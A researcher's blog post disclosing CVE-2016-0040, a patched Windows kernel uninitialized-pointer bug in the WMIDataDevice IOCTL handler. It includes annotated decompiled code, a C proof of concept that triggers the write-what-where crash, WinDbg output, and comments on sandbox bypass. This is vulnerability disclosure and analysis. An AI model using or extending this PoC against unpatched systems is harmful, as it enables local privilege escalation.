Skip to content

CVE-2016-0040 Story of uninitialized pointer

hi

CVE-2016-0040 Credit to Me aka Meysam Firozi @R00tkitSMM

some month ago i found some vulnerabilities in windows kernel mostly Local privilege escalation

Microsoft patched on of the reported vulnerabilities in MS16-014

vulnerability type is uninitialized pointer dereference

vulnerability can be triggered even by process with “low integrity level” ,it’s means successfully exploiting of this vulnerability can lead to bypass sandbox( for example IE sandbox) or generic local privilege escalation for any process.

bug description:

for handling some WMI functions Windows NT Create named Device “WMIDataDevice” ,this device is accessible from user mode with any permission(you can check it with WinObj).
WMIDataDevice handle some IOCTLs, WmipReceiveNotifications function was responsible for IOCTL_WMI_ENUMERATE_GUIDS IOCTL.
based on first DWORD of Irp->AssociatedIrp.SystemBuffer WmipReceiveNotifications function decide to use Stack or kernel pool as buffer for storing data/pointer.
if first DWORD is less than or equal to 0x10 then stack selected as buffer ,

there was another important usage of mentioned DWORD , WmipReceiveNotifications use this DWORD as counter for looping and initializing Local Buffer,so its means if
we put 0 in first DWORD of Irp->AssociatedIrp.SystemBuffer from user mode so first function select stack as buffer ,and as i said this buffer initiated in loop.
in this case we passed 0 ,so function skip loop execution and stack buffer remain uninitialized.
we need bypass some other condition inside WmipReceiveNotifications to reach to vulnerability:

1) v16 come from user mode and need its value be 2

v16 = *(_DWORD *)(SystemBuffer + 4);

2) insert valid Handle for ObReferenceObjectByHandle in SystemBuffer

v39 = ObReferenceObjectByHandle(*(HANDLE *)(SystemBuffer + 16), 0x43Au, 0, 1, &PIRP, 0);

finally uninitialized local variable used as target pointer and function write a DWORD from SystemBuffer + 8 to it

we can control what is written but for manipulating uninitialized stack we need a good stack spray inside kernel

we can control what is written but for manipulating uninitialized stack we need a good stack spray inside kernel

v23 = *(_DWORD *)LocalBuffer;

*(_DWORD *)(v23 + 60) = *(_DWORD *)(SystemBuffer + 8); // write arbitrary data to uninitialized local variable or Write-what-where condition

using uninitialized local variable as pointer and write arbitrary data to where it point(for successfully exploiting this vulnerability attacker need to using stack spraying trick)
Write-what-where condition ( there was may way to exploit this condition ,zero ACL,SET token permission ,… )

bug advantages :

  • bug can be triggered in low integrity
  • don’t related to win32k.sys (ignore “Win32k system call disable policy” , for example chrome browser)
  • default OS configuration so universal sandbox bypass
     int __userpurge WmipReceiveNotifications @(int SystemBuffer @, unsigned int * OutputBufferSize, PVOID PIRP) {
         ...
         ...
    
         v4 = SystemBuffer;
         v5 = * OutputBufferSize;
         v6 = * (_DWORD * ) v4;
         v39 = -1073741811;
         v37 = v5;
         v36 = v6;
         if (v6 <= 0x10) // if first value inside buffer from user mode is less than or equal to 0x10 then use local stack so we pass 0 to force use local stack
         {
             LocalBuffer =& v32;;
            
         } else {
             LocalBuffer = ExAllocatePoolWithTag(PagedPool, 8 * v6, 0x70696D57 u);
             if (!LocalBuffer)
                 return -1073741670;
         }
    
         we don 't go inside this if because we use passed zero
    
         v42 = 0;
         v40 = 0;
         v38 = 0;
         v44 = 0;
         v41 = 0;
         if (v6) 
    {
             do {
                 v39 = ObReferenceObjectByHandle( * (HANDLE * )(v4 + 8 * v41 + 24), 4 u, WmipGuidObjectType, 1,&Object, 0);
                 if (v39<0) goto LABEL_55;
                 v8 = Object;
                 v9 = 0;
                 if (v44) {
                     while (Object != * ((PVOID * ) LocalBuffer + 2 * v9)) {.......
                     }
                 }
             }
         } // because v42 and v45 is set to 0 we also bypass this two if 
    if ( v42 == 1 ) { ... ... ... } 
    if ( v45 | BYTE3(PIRP) ) { v13 = v37; if ( v11 &v37 )
        
      * (_DWORD * )(v4 + 48) = v11; * (_DWORD * ) v4 = 56; * (_DWORD * )(v4 + 44) = 32; * OutputBufferSize = 56;
        
         ...
         ...
         ...
    
     //v16 come from user mode so we can set it's value 2 then lead code to here
    
     if (v16 != 2) 
    {
         LABEL_54:
             * OutputBufferSize = 0;
         goto LABEL_55;
     }
     v39 = ObReferenceObjectByHandle( * (HANDLE * )(v4 + 16), 0x43A u, 0, 1,&PIRP, 0);
     if (v39 >= 0)
     {
         v39 = ObOpenObjectByPointerWithTag((ULONG_PTR) PIRP, 512, 0, 0x1FFFFF, 0, 0, 1953261124, (int)&v35);
         if (v39>= 0)
     {
             v23 = * (_DWORD * ) LocalBuffer; * (_DWORD * )(v23 + 60) = * (_DWORD * )(v4 + 8); // write arbitrary data from uninitialized local variable
    

    bug is here we forced using uninitialized local variable as pointer
    with good stack spraying we can write arbitrary data inside arbitrary address

                              mov ecx, [esi + 8]
             .text: 0041E D59 mov eax, [ebp + LocalBuffer]
             .text: 0041E D5C mov eax, [eax]
             .text: 0041E D5E mov[eax + 3 Ch], ecx // ecx is 0x41414141 and eax get from stack ;
    

    POC :

    typedef union {
        HANDLE Handle;
        ULONG64 Handle64;
        ULONG32 Handle32;
    }
    HANDLE3264, * PHANDLE3264;
    
    typedef struct {
        //
        // List of guid notification handles
        //
        ULONG HandleCount;
        ULONG Action;
        HANDLE /* PUSER_THREAD_START_ROUTINE */ UserModeCallback;
        HANDLE3264 UserModeProcess;
        HANDLE3264 Handles[20];
    }
    WMIRECEIVENOTIFICATION, * PWMIRECEIVENOTIFICATION;
    
    #
    define RECEIVE_ACTION_CREATE_THREAD 2 // Mark guid objects as requiring
    
    typedef struct {
        IN VOID * ObjectAttributes;
        IN ACCESS_MASK DesiredAccess;
    
        OUT HANDLE3264 Handle;
    }
    WMIOPENGUIDBLOCK, * PWMIOPENGUIDBLOCK;
    
    #
    define IOCTL_WMI_ENUMERATE_GUIDS\
    CTL_CODE(FILE_DEVICE_UNKNOWN, WmiEnumerateGuidList, METHOD_BUFFERED, FILE_READ_ACCESS)
    
    void main() {
        DWORD dwBytesReturned;
        HANDLE threadhandle;
        WMIRECEIVENOTIFICATION buffer;
        CHAR OutPut[1000];
    
        memset( & amp; buffer, '\x41', sizeof(buffer)); // set ecx to 0x41414141
        buffer.HandleCount = 0;
        buffer.Action = RECEIVE_ACTION_CREATE_THREAD;
        buffer.UserModeProcess.Handle = GetCurrentProcess(); 
    
        // using NtMapUserPhysicalPages for spraying stack cant help us
    
        HANDLE hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hDriver != INVALID_HANDLE_VALUE) {
            while (TRUE) {
                if (!DeviceIoControl(hDriver, IOCTL_WMI_RECEIVE_NOTIFICATIONS, & amp; buffer, sizeof(buffer), & amp; OutPut, sizeof(OutPut), & amp; dwBytesReturned, NULL)) {
                    return;
                }
            }
    
        }
    
    }
    

    windbg output:

    !analyze -v
    Connected to Windows 7 7600 x86 compatible target at (Sat Oct 24 18:24:12.679 2015 (UTC + 3:30)), ptr64 FALSE
    Loading Kernel Symbols
    ...............................................................
    ................................................................
    .........................
    Loading User Symbols
    .....
    Loading unloaded module list
    ......
    *******************************************************************************
    * *
    * Bugcheck Analysis *
    * *
    *******************************************************************************
    
    Unknown bugcheck code (0)
    Unknown bugcheck description
    Arguments:
    Arg1: 00000000
    Arg2: 00000000
    Arg3: 00000000
    Arg4: 00000000
    
    Debugging Details:
    ------------------
    
    PROCESS_NAME: TestForBug.exe
    
    FAULTING_IP:
    nt!WmipReceiveNotifications+315
    8162ee36 89483c mov dword ptr [eax+3Ch],ecx
    
    EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
    ExceptionAddress: 8162ee36 (nt!WmipReceiveNotifications+0x00000315)
    ExceptionCode: c0000005 (Access violation)
    ExceptionFlags: 00000000
    NumberParameters: 2
    Parameter[0]: 00000001
    Parameter[1]: 0000003c
    Attempt to write to address 0000003c
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
    
    EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
    
    EXCEPTION_PARAMETER1: 00000001
    
    EXCEPTION_PARAMETER2: 0000003c
    
    WRITE_ADDRESS: 0000003c
    
    FOLLOWUP_IP:
    nt!WmipReceiveNotifications+315
    8162ee36 89483c mov dword ptr [eax+3Ch],ecx // ecx is 0x41414141 , eax is from stack
    
    BUGCHECK_STR: ACCESS_VIOLATION
    
    DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE
    
    CURRENT_IRQL: 0
    
    LAST_CONTROL_TRANSFER: from 81829152 to 8162ee36
    
    STACK_TEXT:
    a8c0bb40 81829152 a8c0bb60 84b53760 8419d470 nt!WmipReceiveNotifications+0x315
    a8c0bbfc 8164f779 839cce40 83efadb8 83efadb8 nt!WmipIoControl+0x413
    a8c0bc14 8185283e 8419d470 83efadb8 83efafd8 nt!IofCallDriver+0x63
    a8c0bc34 8186f6ea 839cce40 8419d470 00000000 nt!IopSynchronousServiceTail+0x1f8
    a8c0bcd0 81871ec6 839cce40 83efadb8 00000000 nt!IopXxxControlFile+0x6aa
    a8c0bd04 81656746 0000001c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
    a8c0bd04 773964f4 0000001c 00000000 00000000 nt!KiSystemServicePostCall
    00386fb8 77394cac 756aa08f 0000001c 00000000 ntdll!KiFastSystemCallRet
    00386fbc 756aa08f 0000001c 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
    0038701c 75faec25 0000001c 00228144 00387078 KERNELBASE!DeviceIoControl+0xf6
    00387048 00191098 0000001c 00228144 00387078 kernel32!DeviceIoControlImplementation+0x80
    0039f7d8 00191228 00000001 00661318 006618a8 TestForBug!main+0x98
    0039f81c 75fb1174 7ffd4000 0039f868 773ab3f5 TestForBug!__tmainCRTStartup+0x122
    0039f828 773ab3f5 7ffd4000 777c1ab9 00000000 kernel32!BaseThreadInitThunk+0xe
    0039f868 773ab3c8 00191349 7ffd4000 00000000 ntdll!__RtlUserThreadStart+0x70
    0039f880 00000000 00191349 7ffd4000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    STACK_COMMAND: kb
    
    SYMBOL_STACK_INDEX: 0
    
    SYMBOL_NAME: nt!WmipReceiveNotifications+315
    
    FOLLOWUP_NAME: MachineOwner
    
    MODULE_NAME: nt
    
    IMAGE_NAME: ntkrpamp.exe
    
    DEBUG_FLR_IMAGE_TIMESTAMP: 550a2c44
    
    FAILURE_BUCKET_ID: ACCESS_VIOLATION_nt!WmipReceiveNotifications+315
    
    BUCKET_ID: ACCESS_VIOLATION_nt!WmipReceiveNotifications+315
    
    Followup: MachineOwner
    

    because stack address was too deep it’s hard to modify its content with spraying so Stack spraying was a good challenge for readers

    for more Exploit and POC visit my Github

{ 7 } Comments

  1. kd | February 13, 2016 at 3:48 pm | Permalink

    I am pretty sure that this bug can’t be exploit within chrome sandbox due to device access restriction under untrust level.

    So this bug even much less useful than win32k bugs which can be exploit under EPM or chrome sandbox processes(without win32k lockdown , for example plugin process).

    It gives you zero advantages:)

  2. admin | February 14, 2016 at 1:11 pm | Permalink

    but useful for bypassing IE sandbox :) ( as i said in post )

  3. Mohammad | February 13, 2016 at 6:02 pm | Permalink

    Great bug, congratulations. 😀

  4. 20 20 cricket world cup | February 14, 2016 at 7:34 pm | Permalink

    Fantastic site. Lots of helpful information here. I’m sending it to
    a few buddies ans additionally sharing in delicious. And naturally, thank you in your sweat!

  5. kd | February 15, 2016 at 1:51 am | Permalink

    only can bypass ie sandbox when EPM turned off. So it’s less useful than win32k bugs
    That’s what I am talking about “bug advantage “

  6. admin | February 15, 2016 at 6:41 am | Permalink

    thanks KD i will check/work on EPM mode.

  7. sdf | February 17, 2016 at 2:20 am | Permalink

    bookmarked!!, I really like your site!

{ 4 } Trackbacks

  1. […] Comments Articolo Originale: http://ioctl.ir/index.php/2016/02/13/cve-2016-0040-story-of-uninitialized-pointer/ […]

  2. […] From: http://ioctl.ir/index.php/2016/02/13/cve-2016-0040-story-of-uninitialized-pointer/ […]

  3. […] http://ioctl.ir/index.php/2016/02/13/cve-2016-0040-story-of-uninitialized-pointer/ […]

  4. […] Analiza CVE-2016-0040 (Windows) […]

Post a Comment

Your email is never published nor shared. Required fields are marked *